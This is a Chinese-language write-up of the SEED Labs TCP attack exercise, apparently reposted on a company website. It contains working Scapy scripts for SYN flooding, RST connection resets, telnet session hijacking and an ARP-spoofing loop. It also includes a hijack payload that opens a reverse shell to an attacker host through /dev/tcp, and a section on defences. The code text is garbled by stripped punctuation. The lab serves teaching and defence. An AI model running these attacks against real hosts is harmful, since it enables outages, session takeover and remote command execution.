seedlabs——tcp攻击实验

发布时间:2026/11/5 2:05:51
seedlabs——tcp攻击实验 TCP攻击实验实验主题• TCP 协议• TCP SYN 泛洪攻击和 SYN cookies• TCP 重置攻击• TCP 会话劫持攻击• 反向 Shell实验环境搭建容器设置和命令与上文一样不再赘述攻击者容器共享文件夹与上文一样不再赘述主机模式与上文一样不再赘述seed账号在本实验中需要从一个容器 telnet 到另一个容器。已经在所有容器中创建了一个名为seed 的帐号密码为 dees实验内容任务一SYN泛洪攻击python实现攻击代码实现fromscapy.allimport*synpktIP(dst10.9.0.5)/TCP(dport23,flagsS)whileTrue:synpkt[IP].srcRandIP(10.9.0.0/24)synpkt[TCP].sportRandNum(100,65535)synpkt[TCP].seqRandNum(1,4294967295)send(synpkt,ifacebr-32c3e1207c4c,verbose1)验证攻击进入用户容器使用telnet连接服务端连接成功说明攻击失败查看服务端的连接队列虽然被大量半连接状态机填满但正常的telnet连接仍建立成功增加同时运行的程序数量尝试同时运行两个程序是否能攻击成功不行尝试同时运行三个程序同时运行8个程序时发起telnet连接时就有些卡顿但还是可以建立成功同时运行11个程序用户已经无法建立telnet连接只运行一个程序减少服务端的半连接队列大小将队列大小减小为60重新进行攻击telnet连接优先卡顿但仍可以建立连接将队列大小减小为40重新攻击连接非常卡顿但还是可以建立连接不行将队列大小减小为30已经无法建立telnet连接c语言实现攻击将队列大小回复初始值使用c语言程序发起攻击攻击现象差异只运行一个c语言程序并且保持队列大小为默认值就可以阻止telnet连接建立原因C语言效率更高能够以线速发送数据包Python的Scapy每包处理开销大速度慢C攻击更容易填满半连接队列启用SYN Cookie防御机制运行c程序发起攻击在用户容器中发起telnet连接成功建立连接原本可以成功的攻击失败了原因SYN cookie原理不分配半连接资源而是将连接信息编码到SYNACK序列号中收到ACK包后解码验证合法则分配资源即使队列满了也可以接收合法连接任务二TCP会话重置自动化代码实现fromscapy.allimport*defsendrstpkt(pkt):ifpkt[TCP].flags0x10:rstseqpkt[TCP].ackifpkt[TCP].payload:rstackpkt[TCP].seqlen(pkt[TCP].payload.load)else:rstackpkt[TCP].seq ipIP(srcpkt[IP].dst,dstpkt[IP].src)tcpTCP(sportpkt[TCP].dport,dportpkt[TCP].sport,flagsR)tcp.seqrstseq tcp.ackrstack rstpktip/tcp send(rstpkt,ifacebr-32c3e1207c4c,verbose0)pktsniff(filtertcp and src host 10.9.0.5,ifacebr-32c3e1207c4c,prnsendrstpkt,store0)攻击验证用户A与服务端建立telnet连接运行程序进行攻击在用户机器上给服务端发送信息连接被断开查看wireshark的数据包发现攻击者程序伪造的RST包服务端给用户返回的RST响应包任务三TCP会话劫持自动化代码实现fromscapy.allimport*processed_connectionsset()defget_connections_id(pkt):src_ippkt[IP].src src_portpkt[TCP].sport dst_ippkt[IP].dst dst_portpkt[TCP].dportifsrc_portdst_port:returnf{src_ip}:{src_port}-{dst_ip}:{dst_port}else:returnf{dst_ip}:{dst_port}-{src_ip}:{src_port}defsendackpkt(pkt):connidget_connections_id(pkt)ifconnidinprocessed_connections:returnelse:ifpkt[TCP].flags0x10:ipIP(srcpkt[IP].dst,dstpkt[IP].src)tcpTCP(sportpkt[TCP].dport,dportpkt[TCP].sport,flagsA)tcp.seqpkt[TCP].ackifpkt[TCP].payload:tcp.ackpkt[TCP].seqlen(pkt[TCP].payload.load)else:tcp.ackpkt[TCP].seq dataecho hello hack! /tmp/1.txt\nackpktip/tcp/data send(ackpkt,ifacebr-32c3e1207c4c,verbose0)processed_connections.add(connid)pktsniff(filtertcp and src host 10.9.0.5,ifacebr-32c3e1207c4c,prnsendackpkt,store0)攻击验证建立用户端和服务端的telnet连接后运行攻击者程序在用户端随便键入字符观察wireshark抓包情况程序成功劫持会话给服务端发送注入恶意命令的数据包在服务端查看命令是否执行成功命令执行成功任务四利用会话劫持创建反向shell攻击背景利用TCP会话劫持运行很多命令非常不方便所以需要在受害者机器上建立一个反向shell连接到攻击者机器上从而实现执行更多命令核心思路通过TCP会话劫持运行建立反向shell的命令然后通过该反向shell实现在受害者机器上执行更多命令在攻击者机器上运行netcat监听9999端口等待受害者机器的反向shell连接代码实现fromscapy.allimport*processed_connectionsset()defget_connections_id(pkt):src_ippkt[IP].src src_portpkt[TCP].sport dst_ippkt[IP].dst dst_portpkt[TCP].dportifsrc_portdst_port:returnf{src_ip}:{src_port}-{dst_ip}:{dst_port}else:returnf{dst_ip}:{dst_port}-{src_ip}:{src_port}defsendackpkt(pkt):connidget_connections_id(pkt)ifconnidinprocessed_connections:returnelse:ifpkt[TCP].flags0x10:ipIP(srcpkt[IP].dst,dstpkt[IP].src)tcpTCP(sportpkt[TCP].dport,dportpkt[TCP].sport,flagsA)tcp.seqpkt[TCP].ackifpkt[TCP].payload:tcp.ackpkt[TCP].seqlen(pkt[TCP].payload.load)else:tcp.ackpkt[TCP].seq data\r\n/bin/bash -i /dev/tcp/10.9.0.1/9999 01 21\nackpktip/tcp/data send(ackpkt,ifacebr-32c3e1207c4c,verbose0)processed_connections.add(connid)pktsniff(filtertcp and src host 10.9.0.5,ifacebr-32c3e1207c4c,prnsendackpkt,store0)攻击验证建立用户端和服务端的telnet连接后运行攻击者程序在用户端随便键入字符观察攻击者机器上netcat连接情况成功获得受害者机器上的shell在该shell中执行命令过程是否成功命令成功执行实验总结踩坑任务一中内核的防御机制当用户与服务端已经建立telnet连接后就不受SYN Flooding影响任务三中恶意指令内容需要加换行符telnet需要换行符来执行指令任务三中恶意程序的嗅探过滤要防止重复抓到服务端对伪造ack数据包的响应包导致先让循环解决方案使用连接ID记录已攻击的连接防止重复攻击这是避免循环的最有效方法示例processed_connectionsset()#创建已经处理的连接集合#获取无方向连接标识defconnections_id(pkt):src_ippkt[IP].src src_portpkt[TCP].sport dst_ippkt[IP].dst dst_portpkt[TCP].dport#进行排序实现无方向性ifsrc_portdst_port:returnf{src_ip}:{src_port}-{dst_ip}:{dst_port}else:returnf{dst_ip}:{dst_port}-{src_ip}:{src_port}问题与思考为什么ack对方的seq数据长度TCP确认号核心原理图解说明任务2中telnet连接建立后开启wireshark抓包然后运行rst包发送程序在用户端输入11后抓到的包以及一些现象详解现象输入第一个1后抓到了6个包但用户端显示连接好像并没有立即断开输入第二个1后又抓到了两个包用户端显示连接断开原因输入第一个1后wireshark中第一个包就是用户给服务端发送的1第二个数据包是服务端给用户返回的ACK响应包告诉用户端数据包已收到第三个数据包服务端给用户返回的payload为“1”的数据包用于将用户键入的内容显示在用户屏幕上第四个数据包是用户给服务端返回的ACK响应包告诉服务端数据包已收到第五个数据包是攻击者程序伪造的RST包对应服务端发送的ACK响应包第六个数据包是攻击者程序伪造的RST数据包对应服务端给用户返回的payload为“1”的数据包程序发送的RST数据包比用户返回的ACK响应包慢所以用户输入第一个1时成功回显但当服务端收到程序伪造的RST数据包时就断开连接了只是用户端没有显示所以当用户输入第二个1时提示连接已经端口并且服务端返回RST包告知用户端任务3中为什么当会话劫持成功后结束攻击者程序在被劫持的telnet连接的用户端键入字符发现没有反应wireshark出现大量这种包原因TCP序列号不同步攻击前后对比抓包解读Spurious Retransmission虚假重传含义客户端认为需要重传但服务器已经收到过这些数据原因序列号/确认号不同步Dup ACK重复确认含义服务器重复发送相同的ACK原因服务器不断告诉客户端你应该发送seqxxx不过在该任务中只需要劫持会话进行一次性命令注入即可所以客户端序列号不同步也无伤大雅知识点TCP协议核心定位与关键特性面向连接通过握手协商参数分配资源建立状态机【状态机可被非法触发如非法FIN/RST导致连接重置或资源耗尽】可靠传输序列号确认应答超时重传【一来Seq/Ack的确定性成为TCP劫持和RST攻击的核心利用点】字节流服务无报文边界数据合并/拆分传输【攻击者注入数据需要精确对齐流边界否则会导致应用层解析错误或TCP重置】全双工与滑动窗口独立收发通道动态调节接收缓冲区【窗口机制可被操纵进行慢速DoS或ACK风暴】报文结构与安全映射关键字段的安全视角Flags控制位组合防火墙/IDS逃逸基础NULL部分旧协议栈直接丢弃现代WAF可能标记为异常FINPSHURGNmap圣诞树扫描利用异常标志位探测端口状态SYNFIN非法组合触发触发协议栈错误处理路径可用于指纹识别RST用于暴力断开连接是防火墙主动阻断流量的标准手段序列号与确认号TCP可靠性的基石攻击者必须精确预测或获取准确Seq/Ack才能注入有效数据或劫持会话盲劫持失败的原因现代ISNInitial Sequence Number采用密码学随机化预测难度极大Window窗口大小接收方缓冲区剩余空间攻击者可发送Window0强制对端停止发送或通过窗口探测包探测系统状态零窗口死锁若探测包丢失则连接永久挂起TCP Option选项MSS伪造报文最大长度可能导致目标分配超大接收缓冲器用于资源耗尽攻击Timestamps时间戳选项。虽用于 RTT 测量但泄露了系统运行时间可能被辅助用于 ISN 预测旧实现漏洞连接机状态与攻击面SYN_SENTSYN已发送伪造SYNACK进行欺骗SYN_RCVD半连接状态SYN Flood攻击ESTABLISHEDTCP会话重置TCP会话劫持注入恶意数据建立反向shell流量控制机制与滥用流量控制与拥塞控制机制基于接收窗口和拥塞窗口的动态调整避免网络拥塞和接收端溢出滥用慢速DoS攻击者保持连接但极慢的发送数据耗尽服务器的并发连接池ACK分片攻击将确认号切分迫使接收端进入快速重传或拥塞避免状态降低吞吐量保活机制机制空闲连接定期发送探测包确认对端是否存活滥用攻击者可以伪造Keep-Alive维持僵尸连接绕过防火墙的空闲超时策略安全演进与实战视角TCP SYN泛洪攻击和SYN cookies核心机制利用TCP三层握手服务端资源预分配特性耗尽半连接队列关键技术细节TCB结构队列大小现代 Linux 每个半连接约消耗 320~500 字节内存队列长度受 net.ipv4。tcp_max_syn_backlog 限制。能储存的半连接状态机的数量队列大小也会影响成功率SYN Ccookies绕过若服务端启用syncookies或中间设备WAF/防火墙有状态跟踪纯SYN Flooding仍有效发送速度在发出SYN-ACK包后服务端将等待ACK数据包如果没有及时到来就会重传SYN-ACK数据包当重传次数超过限制由内核参数l net.ipv4.tcp_synack_retries决定默认为5就会将相应的半连接状态机从队列中清除这时队列会出现一个空位我们构造的SYN包会和合法的连接请求数据包竞争这个空位因此如果发包速度不够快可能会导致攻击失败现代防御内核默认开启syncookies无握手状态认证不分配TCB云厂商/高防提供流量清洗与指纹过滤丢弃无源验证或特征异常的 SYN中间件部署 SYN proxy 代理完成握手后再回源TCP会话重置核心机制伪造RST报文强制中断已建立的TCP连接生效条件必须包含正确的四元组src_ip,src_port,dst_ip,dst_portRST的seq必须落在接收方的当前接收窗口内理想情况是精确等于RCV.NXT部分实现要求RST的校验和正确TTL/窗口大小合理攻击流程嗅探流量 | 提取四元组与当前seq/ack | 构造RST包seq等于目标期望的下一个序列号 | 注入网络 | 接收方校验通过 | 状态机跳至CLOSED | 连接断开实战难点盲打失败率高现代系统ISN采用密码学随机化且窗口滑动快猜中概率低ACK风暴风险若RST仅被单方接受另一方仍会发送ACK/PHSH引发双向RST循环防御引进RFC 5961 引入窗口外 RST 丢弃与确认号挑战启用 TCP Timestamps 增加伪造难度业务层使用 TLS 加密即使连接被断也无法直接注入/读取数据通过TCP会话劫持建立反向ShellTCP会话劫持的核心机制冒充合法端点向服务端注入恶意数据接管已经建立的TCP会话反向shell原理不是独立的网络层攻击而是在劫持的TCP流只注入可执行指令并将I/O重定向到攻击者机器的应用层利用链实现前提目标服务为铭明文协议TelnetFTPHTTPnc自定义TCP服务攻击者以获取当前流的正确seq/ack并且可以绕过应用层输入校验目标系统支持命令行执行如shbashcmd关键技术点序列对齐注入包的seq必须等于服务端期望的下一个字节序号否则会被丢弃协议上下文HTTP 需符合 Request 格式Telnet 需处理 IAC 协商自定义协议需逆向前置字段I/O重定向使用/dev/tcp或nc -e建立反向连接会话维持原始客户端若继续发包会触发 ACK 风暴需提前降权或阻断原始端流量知识点关联汇总python中的subprocess库python标准库中用于创建和管理子进程的模块用途使在python脚本中能够启动外部程序或系统命令并与它们进行交互核心功能运行系统命令resultsubprocess.run([ls,-l],capture_outputTrue,textTrue)print(result.stdout)#执行系统命令并等待执行结果执行外部程序subprocess.run([python,other_script.py])#执行其他python脚本获取命令输出resultsubprocess.run([echo,hello],capture_outputTrue,textTrue)#执行命令并等待执行结果print(result.stdout)#输出执行结果print(result.returncode)#输出返回码常用场景系统管理执行mkdircopyrm等系统命令调用其他程序在python中调用编译好的c/c,java程序等数据处理通过管道符将数据传给awkgrep等命令行工具自动化操作自动执行需要命令行的任务常用函数subprocess.run()运行命令并等待完成subprocess.Popen()更接近底层的接口支持实时交互subprocess.check_output()获取命令输出subprocess.call()运行命令并返回状态码多线程python实现线程的概念线程是操作系统能够进行运算调度的最小单位。一个进程可以有多个线程它们共享进程的内存空间python threading模块实现简单多线程示例代码fromscapy.allimport*importthreadingimporttime#告诉B我是Apkt_to_BEther(src02:42:0a:09:00:69,dstff:ff:ff:ff:ff:ff)/ARP(op1,psrc10.9.0.5,hwsrc02:42:0a:09:00:69,pdst10.9.0.6,hwdstff:ff:ff:ff:ff:ff)#告诉A我是Bpkt_to_AEther(src02:42:0a:09:00:69,dstff:ff:ff:ff:ff:ff)/ARP(op1,psrc10.9.0.6,hwsrc02:42:0a:09:00:69,pdst10.9.0.5,hwdstff:ff:ff:ff:ff:ff)defattack_A(pkt_to_A):sendp(pkt_to_A,loop1,inter5,ifaceeth0,verbose0)defattack_B(pkt_to_B):sendp(pkt_to_B,loop1,inter5,ifaceeth0,verbose0)t1threading.Thread(targetattack_A,args(pkt_to_A,))t2threading.Thread(targetattack_B,args(pkt_to_B,))t1.start()t2.start()ti.join()t2.join()核心概念详解Thread(target函数名)创建线程对象start()启动线程开始执行join()等待线程执行完毕args(参数,)传递给函数的参数注意逗号

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询